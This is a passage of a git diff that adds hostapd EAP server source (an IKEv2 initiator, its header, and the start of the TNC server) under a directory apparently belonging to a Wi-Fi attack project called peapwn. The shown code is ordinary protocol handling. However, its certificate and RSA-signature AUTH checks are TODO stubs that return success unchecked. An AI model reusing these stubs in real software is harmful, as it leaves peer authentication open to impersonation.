< 0) { + wpa_printf(MSG_INFO, "IKEV2: Failed to process " + "encrypted payload"); + return -1; + } + } + + data->state = SA_AUTH; + + return 0; +} + + +static int ikev2_process_idr(struct ikev2_initiator_data *data, + const u8 *idr, size_t idr_len) +{ + u8 id_type; + + if (idr == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No IDr received"); + return -1; + } + + if (idr_len < 4) { + wpa_printf(MSG_INFO, "IKEV2: Too short IDr payload"); + return -1; + } + + id_type = idr[0]; + idr += 4; + idr_len -= 4; + + wpa_printf(MSG_DEBUG, "IKEV2: IDr ID Type %d", id_type); + wpa_hexdump_ascii(MSG_DEBUG, "IKEV2: IDr", idr, idr_len); + if (data->IDr) { + if (id_type != data->IDr_type || idr_len != data->IDr_len || + os_memcmp(idr, data->IDr, idr_len) != 0) { + wpa_printf(MSG_INFO, "IKEV2: IDr differs from the one " + "received earlier"); + wpa_printf(MSG_DEBUG, "IKEV2: Previous IDr ID Type %d", + id_type); + wpa_hexdump_ascii(MSG_DEBUG, "Previous IKEV2: IDr", + data->IDr, data->IDr_len); + return -1; + } + os_free(data->IDr); + } + data->IDr = os_malloc(idr_len); + if (data->IDr == NULL) + return -1; + os_memcpy(data->IDr, idr, idr_len); + data->IDr_len = idr_len; + data->IDr_type = id_type; + + return 0; +} + + +static int ikev2_process_cert(struct ikev2_initiator_data *data, + const u8 *cert, size_t cert_len) +{ + u8 cert_encoding; + + if (cert == NULL) { + if (data->peer_auth == PEER_AUTH_CERT) { + wpa_printf(MSG_INFO, "IKEV2: No Certificate received"); + return -1; + } + return 0; + } + + if (cert_len < 1) { + wpa_printf(MSG_INFO, "IKEV2: No Cert Encoding field"); + return -1; + } + + cert_encoding = cert[0]; + cert++; + cert_len--; + + wpa_printf(MSG_DEBUG, "IKEV2: Cert Encoding %d", cert_encoding); + wpa_hexdump(MSG_MSGDUMP, "IKEV2: Certificate Data", cert, cert_len); + + /* TODO: validate certificate */ + + return 0; +} + + +static int ikev2_process_auth_cert(struct ikev2_initiator_data *data, + u8 method, const u8 *auth, size_t auth_len) +{ + if (method != AUTH_RSA_SIGN) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported authentication " + "method %d", method); + return -1; + } + + /* TODO: validate AUTH */ + return 0; +} + + +static int ikev2_process_auth_secret(struct ikev2_initiator_data *data, + u8 method, const u8 *auth, + size_t auth_len) +{ + u8 auth_data[IKEV2_MAX_HASH_LEN]; + const struct ikev2_prf_alg *prf; + + if (method != AUTH_SHARED_KEY_MIC) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported authentication " + "method %d", method); + return -1; + } + + /* msg | Ni | prf(SK_pr,IDr') */ + if (ikev2_derive_auth_data(data->proposal.prf, data->r_sign_msg, + data->IDr, data->IDr_len, data->IDr_type, + &data->keys, 0, data->shared_secret, + data->shared_secret_len, + data->i_nonce, data->i_nonce_len, + data->key_pad, data->key_pad_len, + auth_data) < 0) { + wpa_printf(MSG_INFO, "IKEV2: Could not derive AUTH data"); + return -1; + } + + wpabuf_free(data->r_sign_msg); + data->r_sign_msg = NULL; + + prf = ikev2_get_prf(data->proposal.prf); + if (prf == NULL) + return -1; + + if (auth_len != prf->hash_len || + os_memcmp(auth, auth_data, auth_len) != 0) { + wpa_printf(MSG_INFO, "IKEV2: Invalid Authentication Data"); + wpa_hexdump(MSG_DEBUG, "IKEV2: Received Authentication Data", + auth, auth_len); + wpa_hexdump(MSG_DEBUG, "IKEV2: Expected Authentication Data", + auth_data, prf->hash_len); + return -1; + } + + wpa_printf(MSG_DEBUG, "IKEV2: Peer authenticated successfully " + "using shared keys"); + + return 0; +} + + +static int ikev2_process_auth(struct ikev2_initiator_data *data, + const u8 *auth, size_t auth_len) +{ + u8 auth_method; + + if (auth == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No Authentication Payload"); + return -1; + } + + if (auth_len < 4) { + wpa_printf(MSG_INFO, "IKEV2: Too short Authentication " + "Payload"); + return -1; + } + + auth_method = auth[0]; + auth += 4; + auth_len -= 4; + + wpa_printf(MSG_DEBUG, "IKEV2: Auth Method %d", auth_method); + wpa_hexdump(MSG_MSGDUMP, "IKEV2: Authentication Data", auth, auth_len); + + switch (data->peer_auth) { + case PEER_AUTH_CERT: + return ikev2_process_auth_cert(data, auth_method, auth, + auth_len); + case PEER_AUTH_SECRET: + return ikev2_process_auth_secret(data, auth_method, auth, + auth_len); + } + + return -1; +} + + +static int ikev2_process_sa_auth_decrypted(struct ikev2_initiator_data *data, + u8 next_payload, + u8 *payload, size_t payload_len) +{ + struct ikev2_payloads pl; + + wpa_printf(MSG_DEBUG, "IKEV2: Processing decrypted payloads"); + + if (ikev2_parse_payloads(&pl, next_payload, payload, payload + + payload_len) < 0) { + wpa_printf(MSG_INFO, "IKEV2: Failed to parse decrypted " + "payloads"); + return -1; + } + + if (ikev2_process_idr(data, pl.idr, pl.idr_len) < 0 || + ikev2_process_cert(data, pl.cert, pl.cert_len) < 0 || + ikev2_process_auth(data, pl.auth, pl.auth_len) < 0) + return -1; + + return 0; +} + + +static int ikev2_process_sa_auth(struct ikev2_initiator_data *data, + const struct ikev2_hdr *hdr, + struct ikev2_payloads *pl) +{ + u8 *decrypted; + size_t decrypted_len; + int ret; + + decrypted = ikev2_decrypt_payload(data->proposal.encr, + data->proposal.integ, + &data->keys, 0, hdr, pl->encrypted, + pl->encrypted_len, &decrypted_len); + if (decrypted == NULL) + return -1; + + ret = ikev2_process_sa_auth_decrypted(data, pl->encr_next_payload, + decrypted, decrypted_len); + os_free(decrypted); + + if (ret == 0 && !data->unknown_user) { + wpa_printf(MSG_DEBUG, "IKEV2: Authentication completed"); + data->state = IKEV2_DONE; + } + + return ret; +} + + +static int ikev2_validate_rx_state(struct ikev2_initiator_data *data, + u8 exchange_type, u32 message_id) +{ + switch (data->state) { + case SA_INIT: + /* Expect to receive IKE_SA_INIT: HDR, SAr, KEr, Nr, [CERTREQ], + * [SK{IDr}] */ + if (exchange_type != IKE_SA_INIT) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Exchange Type " + "%u in SA_INIT state", exchange_type); + return -1; + } + if (message_id != 0) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Message ID %u " + "in SA_INIT state", message_id); + return -1; + } + break; + case SA_AUTH: + /* Expect to receive IKE_SA_AUTH: + * HDR, SK {IDr, [CERT,] [CERTREQ,] [NFID,] AUTH} + */ + if (exchange_type != IKE_SA_AUTH) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Exchange Type " + "%u in SA_AUTH state", exchange_type); + return -1; + } + if (message_id != 1) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Message ID %u " + "in SA_AUTH state", message_id); + return -1; + } + break; + case CHILD_SA: + if (exchange_type != CREATE_CHILD_SA) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Exchange Type " + "%u in CHILD_SA state", exchange_type); + return -1; + } + if (message_id != 2) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Message ID %u " + "in CHILD_SA state", message_id); + return -1; + } + break; + case IKEV2_DONE: + return -1; + } + + return 0; +} + + +int ikev2_initiator_process(struct ikev2_initiator_data *data, + const struct wpabuf *buf) +{ + const struct ikev2_hdr *hdr; + u32 length, message_id; + const u8 *pos, *end; + struct ikev2_payloads pl; + + wpa_printf(MSG_MSGDUMP, "IKEV2: Received message (len %lu)", + (unsigned long) wpabuf_len(buf)); + + if (wpabuf_len(buf) < sizeof(*hdr)) { + wpa_printf(MSG_INFO, "IKEV2: Too short frame to include HDR"); + return -1; + } + + hdr = (const struct ikev2_hdr *) wpabuf_head(buf); + end = wpabuf_head_u8(buf) + wpabuf_len(buf); + message_id = WPA_GET_BE32(hdr->message_id); + length = WPA_GET_BE32(hdr->length); + + wpa_hexdump(MSG_DEBUG, "IKEV2: IKE_SA Initiator's SPI", + hdr->i_spi, IKEV2_SPI_LEN); + wpa_hexdump(MSG_DEBUG, "IKEV2: IKE_SA Initiator's SPI", + hdr->r_spi, IKEV2_SPI_LEN); + wpa_printf(MSG_DEBUG, "IKEV2: Next Payload: %u Version: 0x%x " + "Exchange Type: %u", + hdr->next_payload, hdr->version, hdr->exchange_type); + wpa_printf(MSG_DEBUG, "IKEV2: Message ID: %u Length: %u", + message_id, length); + + if (hdr->version != IKEV2_VERSION) { + wpa_printf(MSG_INFO, "IKEV2: Unsupported HDR version 0x%x " + "(expected 0x%x)", hdr->version, IKEV2_VERSION); + return -1; + } + + if (length != wpabuf_len(buf)) { + wpa_printf(MSG_INFO, "IKEV2: Invalid length (HDR: %lu != " + "RX: %lu)", (unsigned long) length, + (unsigned long) wpabuf_len(buf)); + return -1; + } + + if (ikev2_validate_rx_state(data, hdr->exchange_type, message_id) < 0) + return -1; + + if ((hdr->flags & (IKEV2_HDR_INITIATOR | IKEV2_HDR_RESPONSE)) != + IKEV2_HDR_RESPONSE) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected Flags value 0x%x", + hdr->flags); + return -1; + } + + if (data->state != SA_INIT) { + if (os_memcmp(data->i_spi, hdr->i_spi, IKEV2_SPI_LEN) != 0) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected IKE_SA " + "Initiator's SPI"); + return -1; + } + if (os_memcmp(data->r_spi, hdr->r_spi, IKEV2_SPI_LEN) != 0) { + wpa_printf(MSG_INFO, "IKEV2: Unexpected IKE_SA " + "Responder's SPI"); + return -1; + } + } + + pos = (const u8 *) (hdr + 1); + if (ikev2_parse_payloads(&pl, hdr->next_payload, pos, end) < 0) + return -1; + + switch (data->state) { + case SA_INIT: + if (ikev2_process_sa_init(data, hdr, &pl) < 0) + return -1; + wpabuf_free(data->r_sign_msg); + data->r_sign_msg = wpabuf_dup(buf); + break; + case SA_AUTH: + if (ikev2_process_sa_auth(data, hdr, &pl) < 0) + return -1; + break; + case CHILD_SA: + case IKEV2_DONE: + break; + } + + return 0; +} + + +static void ikev2_build_hdr(struct ikev2_initiator_data *data, + struct wpabuf *msg, u8 exchange_type, + u8 next_payload, u32 message_id) +{ + struct ikev2_hdr *hdr; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding HDR"); + + /* HDR - RFC 4306, Sect. 3.1 */ + hdr = wpabuf_put(msg, sizeof(*hdr)); + os_memcpy(hdr->i_spi, data->i_spi, IKEV2_SPI_LEN); + os_memcpy(hdr->r_spi, data->r_spi, IKEV2_SPI_LEN); + hdr->next_payload = next_payload; + hdr->version = IKEV2_VERSION; + hdr->exchange_type = exchange_type; + hdr->flags = IKEV2_HDR_INITIATOR; + WPA_PUT_BE32(hdr->message_id, message_id); +} + + +static int ikev2_build_sai(struct ikev2_initiator_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + struct ikev2_proposal *p; + struct ikev2_transform *t; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding SAi payload"); + + /* SAi1 - RFC 4306, Sect. 2.7 and 3.3 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + + /* TODO: support for multiple proposals */ + p = wpabuf_put(msg, sizeof(*p)); + p->proposal_num = data->proposal.proposal_num; + p->protocol_id = IKEV2_PROTOCOL_IKE; + p->num_transforms = 4; + + t = wpabuf_put(msg, sizeof(*t)); + t->type = 3; + t->transform_type = IKEV2_TRANSFORM_ENCR; + WPA_PUT_BE16(t->transform_id, data->proposal.encr); + if (data->proposal.encr == ENCR_AES_CBC) { + /* Transform Attribute: Key Len = 128 bits */ + wpabuf_put_be16(msg, 0x800e); /* AF=1, AttrType=14 */ + wpabuf_put_be16(msg, 128); /* 128-bit key */ + } + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) t; + WPA_PUT_BE16(t->transform_length, plen); + + t = wpabuf_put(msg, sizeof(*t)); + t->type = 3; + WPA_PUT_BE16(t->transform_length, sizeof(*t)); + t->transform_type = IKEV2_TRANSFORM_PRF; + WPA_PUT_BE16(t->transform_id, data->proposal.prf); + + t = wpabuf_put(msg, sizeof(*t)); + t->type = 3; + WPA_PUT_BE16(t->transform_length, sizeof(*t)); + t->transform_type = IKEV2_TRANSFORM_INTEG; + WPA_PUT_BE16(t->transform_id, data->proposal.integ); + + t = wpabuf_put(msg, sizeof(*t)); + WPA_PUT_BE16(t->transform_length, sizeof(*t)); + t->transform_type = IKEV2_TRANSFORM_DH; + WPA_PUT_BE16(t->transform_id, data->proposal.dh); + + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) p; + WPA_PUT_BE16(p->proposal_length, plen); + + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + + return 0; +} + + +static int ikev2_build_kei(struct ikev2_initiator_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + struct wpabuf *pv; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding KEi payload"); + + data->dh = dh_groups_get(data->proposal.dh); + pv = dh_init(data->dh, &data->i_dh_private); + if (pv == NULL) { + wpa_printf(MSG_DEBUG, "IKEV2: Failed to initialize DH"); + return -1; + } + + /* KEi - RFC 4306, Sect. 3.4 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + + wpabuf_put_be16(msg, data->proposal.dh); /* DH Group # */ + wpabuf_put(msg, 2); /* RESERVED */ + /* + * RFC 4306, Sect. 3.4: possible zero padding for public value to + * match the length of the prime. + */ + wpabuf_put(msg, data->dh->prime_len - wpabuf_len(pv)); + wpabuf_put_buf(msg, pv); + wpabuf_free(pv); + + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + return 0; +} + + +static int ikev2_build_ni(struct ikev2_initiator_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding Ni payload"); + + /* Ni - RFC 4306, Sect. 3.9 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + wpabuf_put_data(msg, data->i_nonce, data->i_nonce_len); + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + return 0; +} + + +static int ikev2_build_idi(struct ikev2_initiator_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding IDi payload"); + + if (data->IDi == NULL) { + wpa_printf(MSG_INFO, "IKEV2: No IDi available"); + return -1; + } + + /* IDi - RFC 4306, Sect. 3.5 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + wpabuf_put_u8(msg, ID_KEY_ID); + wpabuf_put(msg, 3); /* RESERVED */ + wpabuf_put_data(msg, data->IDi, data->IDi_len); + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + return 0; +} + + +static int ikev2_build_auth(struct ikev2_initiator_data *data, + struct wpabuf *msg, u8 next_payload) +{ + struct ikev2_payload_hdr *phdr; + size_t plen; + const struct ikev2_prf_alg *prf; + + wpa_printf(MSG_DEBUG, "IKEV2: Adding AUTH payload"); + + prf = ikev2_get_prf(data->proposal.prf); + if (prf == NULL) + return -1; + + /* Authentication - RFC 4306, Sect. 3.8 */ + phdr = wpabuf_put(msg, sizeof(*phdr)); + phdr->next_payload = next_payload; + phdr->flags = 0; + wpabuf_put_u8(msg, AUTH_SHARED_KEY_MIC); + wpabuf_put(msg, 3); /* RESERVED */ + + /* msg | Nr | prf(SK_pi,IDi') */ + if (ikev2_derive_auth_data(data->proposal.prf, data->i_sign_msg, + data->IDi, data->IDi_len, ID_KEY_ID, + &data->keys, 1, data->shared_secret, + data->shared_secret_len, + data->r_nonce, data->r_nonce_len, + data->key_pad, data->key_pad_len, + wpabuf_put(msg, prf->hash_len)) < 0) { + wpa_printf(MSG_INFO, "IKEV2: Could not derive AUTH data"); + return -1; + } + wpabuf_free(data->i_sign_msg); + data->i_sign_msg = NULL; + + plen = (u8 *) wpabuf_put(msg, 0) - (u8 *) phdr; + WPA_PUT_BE16(phdr->payload_length, plen); + return 0; +} + + +static struct wpabuf * ikev2_build_sa_init(struct ikev2_initiator_data *data) +{ + struct wpabuf *msg; + + /* build IKE_SA_INIT: HDR, SAi, KEi, Ni */ + + if (os_get_random(data->i_spi, IKEV2_SPI_LEN)) + return NULL; + wpa_hexdump(MSG_DEBUG, "IKEV2: IKE_SA Initiator's SPI", + data->i_spi, IKEV2_SPI_LEN); + + data->i_nonce_len = IKEV2_NONCE_MIN_LEN; + if (random_get_bytes(data->i_nonce, data->i_nonce_len)) + return NULL; + wpa_hexdump(MSG_DEBUG, "IKEV2: Ni", data->i_nonce, data->i_nonce_len); + + msg = wpabuf_alloc(sizeof(struct ikev2_hdr) + 1000); + if (msg == NULL) + return NULL; + + ikev2_build_hdr(data, msg, IKE_SA_INIT, IKEV2_PAYLOAD_SA, 0); + if (ikev2_build_sai(data, msg, IKEV2_PAYLOAD_KEY_EXCHANGE) || + ikev2_build_kei(data, msg, IKEV2_PAYLOAD_NONCE) || + ikev2_build_ni(data, msg, IKEV2_PAYLOAD_NO_NEXT_PAYLOAD)) { + wpabuf_free(msg); + return NULL; + } + + ikev2_update_hdr(msg); + + wpa_hexdump_buf(MSG_MSGDUMP, "IKEV2: Sending message (SA_INIT)", msg); + + wpabuf_free(data->i_sign_msg); + data->i_sign_msg = wpabuf_dup(msg); + + return msg; +} + + +static struct wpabuf * ikev2_build_sa_auth(struct ikev2_initiator_data *data) +{ + struct wpabuf *msg, *plain; + const u8 *secret; + size_t secret_len; + + secret = data->get_shared_secret(data->cb_ctx, data->IDr, + data->IDr_len, &secret_len); + if (secret == NULL) { + wpa_printf(MSG_INFO, "IKEV2: Could not get shared secret - " + "use fake value"); + /* RFC 5106, Sect. 7: + * Use a random key to fake AUTH generation in order to prevent + * probing of user identities. + */ + data->unknown_user = 1; + os_free(data->shared_secret); + data->shared_secret = os_malloc(16); + if (data->shared_secret == NULL) + return NULL; + data->shared_secret_len = 16; + if (random_get_bytes(data->shared_secret, 16)) + return NULL; + } else { + os_free(data->shared_secret); + data->shared_secret = os_malloc(secret_len); + if (data->shared_secret == NULL) + return NULL; + os_memcpy(data->shared_secret, secret, secret_len); + data->shared_secret_len = secret_len; + } + + /* build IKE_SA_AUTH: HDR, SK {IDi, [CERT,] [CERTREQ,] AUTH} */ + + msg = wpabuf_alloc(sizeof(struct ikev2_hdr) + data->IDr_len + 1000); + if (msg == NULL) + return NULL; + ikev2_build_hdr(data, msg, IKE_SA_AUTH, IKEV2_PAYLOAD_ENCRYPTED, 1); + + plain = wpabuf_alloc(data->IDr_len + 1000); + if (plain == NULL) { + wpabuf_free(msg); + return NULL; + } + + if (ikev2_build_idi(data, plain, IKEV2_PAYLOAD_AUTHENTICATION) || + ikev2_build_auth(data, plain, IKEV2_PAYLOAD_NO_NEXT_PAYLOAD) || + ikev2_build_encrypted(data->proposal.encr, data->proposal.integ, + &data->keys, 1, msg, plain, + IKEV2_PAYLOAD_IDi)) { + wpabuf_free(plain); + wpabuf_free(msg); + return NULL; + } + wpabuf_free(plain); + + wpa_hexdump_buf(MSG_MSGDUMP, "IKEV2: Sending message (SA_AUTH)", msg); + + return msg; +} + + +struct wpabuf * ikev2_initiator_build(struct ikev2_initiator_data *data) +{ + switch (data->state) { + case SA_INIT: + return ikev2_build_sa_init(data); + case SA_AUTH: + return ikev2_build_sa_auth(data); + case CHILD_SA: + return NULL; + case IKEV2_DONE: + return NULL; + } + return NULL; +} diff --git a/peapwn/mods/hostap/src/eap_server/ikev2.h b/peapwn/mods/hostap/src/eap_server/ikev2.h new file mode 100644 index 000000000..051a93869 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/ikev2.h @@ -0,0 +1,61 @@ +/* + * IKEv2 initiator (RFC 4306) for EAP-IKEV2 + * Copyright (c) 2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef IKEV2_H +#define IKEV2_H + +#include "eap_common/ikev2_common.h" + +struct ikev2_proposal_data { + u8 proposal_num; + int integ; + int prf; + int encr; + int dh; +}; + + +struct ikev2_initiator_data { + enum { SA_INIT, SA_AUTH, CHILD_SA, IKEV2_DONE } state; + u8 i_spi[IKEV2_SPI_LEN]; + u8 r_spi[IKEV2_SPI_LEN]; + u8 i_nonce[IKEV2_NONCE_MAX_LEN]; + size_t i_nonce_len; + u8 r_nonce[IKEV2_NONCE_MAX_LEN]; + size_t r_nonce_len; + struct wpabuf *r_dh_public; + struct wpabuf *i_dh_private; + struct ikev2_proposal_data proposal; + const struct dh_group *dh; + struct ikev2_keys keys; + u8 *IDi; + size_t IDi_len; + u8 *IDr; + size_t IDr_len; + u8 IDr_type; + struct wpabuf *r_sign_msg; + struct wpabuf *i_sign_msg; + u8 *shared_secret; + size_t shared_secret_len; + enum { PEER_AUTH_CERT, PEER_AUTH_SECRET } peer_auth; + u8 *key_pad; + size_t key_pad_len; + + const u8 * (*get_shared_secret)(void *ctx, const u8 *IDr, + size_t IDr_len, size_t *secret_len); + void *cb_ctx; + int unknown_user; +}; + + +void ikev2_initiator_deinit(struct ikev2_initiator_data *data); +int ikev2_initiator_process(struct ikev2_initiator_data *data, + const struct wpabuf *buf); +struct wpabuf * ikev2_initiator_build(struct ikev2_initiator_data *data); + +#endif /* IKEV2_H */ diff --git a/peapwn/mods/hostap/src/eap_server/tncs.c b/peapwn/mods/hostap/src/eap_server/tncs.c new file mode 100644 index 000000000..e429f1e67 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_server/tncs.c @@ -0,0 +1,1265 @@ +/* + * EAP-TNC - TNCS (IF-IMV, IF-TNCCS, and IF-TNCCS-SOH) + * Copyright (c) 2007-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "base64.h" +#include "tncs.h" +#include "eap_common/eap_tlv_common.h" +#include "eap_common/eap_defs.h" + + +/* TODO: TNCS must be thread-safe; review the code and add locking etc. if + * needed.. */ + +#define TNC_CONFIG_FILE "/etc/tnc_config" +#define IF_TNCCS_START \ +"\n" \ +"\n" +#define IF_TNCCS_END "\n" + +/* TNC IF-IMV */ + +typedef unsigned long TNC_UInt32; +typedef unsigned char *TNC_BufferReference; + +typedef TNC_UInt32 TNC_IMVID; +typedef TNC_UInt32 TNC_ConnectionID; +typedef TNC_UInt32 TNC_ConnectionState; +typedef TNC_UInt32 TNC_RetryReason; +typedef TNC_UInt32 TNC_IMV_Action_Recommendation; +typedef TNC_UInt32 TNC_IMV_Evaluation_Result; +typedef TNC_UInt32 TNC_MessageType; +typedef TNC_MessageType *TNC_MessageTypeList; +typedef TNC_UInt32 TNC_VendorID; +typedef TNC_UInt32 TNC_Subtype; +typedef TNC_UInt32 TNC_Version; +typedef TNC_UInt32 TNC_Result; +typedef TNC_UInt32 TNC_AttributeID; + +typedef TNC_Result (*TNC_TNCS_BindFunctionPointer)( + TNC_IMVID imvID, + char *functionName, + void **pOutfunctionPointer); + +#define TNC_RESULT_SUCCESS 0 +#define TNC_RESULT_NOT_INITIALIZED 1 +#define TNC_RESULT_ALREADY_INITIALIZED 2 +#define TNC_RESULT_NO_COMMON_VERSION 3 +#define TNC_RESULT_CANT_RETRY 4 +#define TNC_RESULT_WONT_RETRY 5 +#define TNC_RESULT_INVALID_PARAMETER 6 +#define TNC_RESULT_CANT_RESPOND 7 +#define TNC_RESULT_ILLEGAL_OPERATION 8 +#define TNC_RESULT_OTHER 9 +#define TNC_RESULT_FATAL 10 + +#define TNC_CONNECTION_STATE_CREATE 0 +#define TNC_CONNECTION_STATE_HANDSHAKE 1 +#define TNC_CONNECTION_STATE_ACCESS_ALLOWED 2 +#define TNC_CONNECTION_STATE_ACCESS_ISOLATED 3 +#define TNC_CONNECTION_STATE_ACCESS_NONE 4 +#define TNC_CONNECTION_STATE_DELETE 5 + +#define TNC_IFIMV_VERSION_1 1 + +#define TNC_VENDORID_ANY ((TNC_VendorID) 0xffffff) +#define TNC_SUBTYPE_ANY ((TNC_Subtype) 0xff) + +/* TNCC-TNCS Message Types */ +#define TNC_TNCCS_RECOMMENDATION 0x00000001 +#define TNC_TNCCS_ERROR 0x00000002 +#define TNC_TNCCS_PREFERREDLANGUAGE 0x00000003 +#define TNC_TNCCS_REASONSTRINGS 0x00000004 + +/* Possible TNC_IMV_Action_Recommendation values: */ +enum IMV_Action_Recommendation { + TNC_IMV_ACTION_RECOMMENDATION_ALLOW, + TNC_IMV_ACTION_RECOMMENDATION_NO_ACCESS, + TNC_IMV_ACTION_RECOMMENDATION_ISOLATE, + TNC_IMV_ACTION_RECOMMENDATION_NO_RECOMMENDATION +}; + +/* Possible TNC_IMV_Evaluation_Result values: */ +enum IMV_Evaluation_Result { + TNC_IMV_EVALUATION_RESULT_COMPLIANT, + TNC_IMV_EVALUATION_RESULT_NONCOMPLIANT_MINOR, + TNC_IMV_EVALUATION_RESULT_NONCOMPLIANT_MAJOR, + TNC_IMV_EVALUATION_RESULT_ERROR, + TNC_IMV_EVALUATION_RESULT_DONT_KNOW +}; + +struct tnc_if_imv { + struct tnc_if_imv *next; + char *name; + char *path; + void *dlhandle; /* from dlopen() */ + TNC_IMVID imvID; + TNC_MessageTypeList supported_types; + size_t num_supported_types; + + /* Functions implemented by IMVs (with TNC_IMV_ prefix) */ + TNC_Result (*Initialize)( + TNC_IMVID imvID, + TNC_Version minVersion, + TNC_Version maxVersion, + TNC_Version *pOutActualVersion); + TNC_Result (*NotifyConnectionChange)( + TNC_IMVID imvID, + TNC_ConnectionID connectionID, + TNC_ConnectionState newState); + TNC_Result (*ReceiveMessage)( + TNC_IMVID imvID, + TNC_ConnectionID connectionID, + TNC_BufferReference message, + TNC_UInt32 messageLength, + TNC_MessageType messageType); + TNC_Result (*SolicitRecommendation)( + TNC_IMVID imvID, + TNC_ConnectionID connectionID); + TNC_Result (*BatchEnding)( + TNC_IMVID imvID, + TNC_ConnectionID connectionID); + TNC_Result (*Terminate)(TNC_IMVID imvID); + TNC_Result (*ProvideBindFunction)( + TNC_IMVID imvID, + TNC_TNCS_BindFunctionPointer bindFunction); +}; + + +#define TNC_MAX_IMV_ID 10 + +struct tncs_data { + struct tncs_data *next; + struct tnc_if_imv *imv; /* local copy of tncs_global_data->imv */ + TNC_ConnectionID connectionID; + unsigned int last_batchid; + enum IMV_Action_Recommendation recommendation; + int done; + + struct conn_imv { + u8 *imv_send; + size_t imv_send_len; + enum IMV_Action_Recommendation recommendation; + int recommendation_set; + } imv_data[TNC_MAX_IMV_ID]; + + char *tncs_message; +}; + + +struct tncs_global { + struct tnc_if_imv *imv; + TNC_ConnectionID next_conn_id; + struct tncs_data *connections; +}; + +static struct tncs_global *tncs_global_data = NULL; + + +static struct tnc_if_imv * tncs_get_imv(TNC_IMVID imvID) +{ + struct tnc_if_imv *imv; + + if (imvID >= TNC_MAX_IMV_ID || tncs_global_data == NULL) + return NULL; + imv = tncs_global_data->imv; + while (imv) { + if (imv->imvID == imvID) + return imv; + imv = imv->next; + } + return NULL; +} + + +static struct tncs_data * tncs_get_conn(TNC_ConnectionID connectionID) +{ + struct tncs_data *tncs; + + if (tncs_global_data == NULL) + return NULL; + + tncs = tncs_global_data->connections; + while (tncs) { + if (tncs->connectionID == connectionID) + return tncs; + tncs = tncs->next; + } + + wpa_printf(MSG_DEBUG, "TNC: Connection ID %lu not found", + (unsigned long) connectionID); + + return NULL; +} + + +/* TNCS functions that IMVs can call */ +TNC_Result TNC_TNCS_ReportMessageTypes( + TNC_IMVID imvID, + TNC_MessageTypeList supportedTypes, + TNC_UInt32 typeCount) +{ + TNC_UInt32 i; + struct tnc_if_imv *imv; + + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCS_ReportMessageTypes(imvID=%lu " + "typeCount=%lu)", + (unsigned long) imvID, (unsigned long) typeCount); + + for (i = 0; i < typeCount; i++) { + wpa_printf(MSG_DEBUG, "TNC: supportedTypes[%lu] = %lu", + i, supportedTypes[i]); + } + + imv = tncs_get_imv(imvID); + if (imv == NULL) + return TNC_RESULT_INVALID_PARAMETER; + os_free(imv->supported_types); + imv->supported_types = + os_malloc(typeCount * sizeof(TNC_MessageType)); + if (imv->supported_types == NULL) + return TNC_RESULT_FATAL; + os_memcpy(imv->supported_types, supportedTypes, + typeCount * sizeof(TNC_MessageType)); + imv->num_supported_types = typeCount; + + return TNC_RESULT_SUCCESS; +} + + +TNC_Result TNC_TNCS_SendMessage( + TNC_IMVID imvID, + TNC_ConnectionID connectionID, + TNC_BufferReference message, + TNC_UInt32 messageLength, + TNC_MessageType messageType) +{ + struct tncs_data *tncs; + unsigned char *b64; + size_t b64len; + + wpa_printf(MSG_DEBUG, "TNC: TNC_TNCS_SendMessage(imvID=%lu " + "connectionID=%lu messageType=%lu)", + imvID, connectionID, messageType); + wpa_hexdump_ascii(MSG_DEBUG, "TNC: TNC_TNCS_SendMessage", + message, messageLength); + + if (tncs_get_imv(imvID) == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + tncs = tncs_get_conn(connectionID); + if (tncs == NULL) + return TNC_RESULT_INVALID_PARAMETER; + + b64 = base64_encode(message, messageLength, &b64len); + if (b64 == NULL) + return TNC_RESULT_FATAL; + + os_free(tncs->imv_data[imvID].imv_send); + tncs->imv_data[imvID].imv_send_len = 0; + tncs->imv_data[imvID].imv_send = os_zalloc(b64len + 100); + if 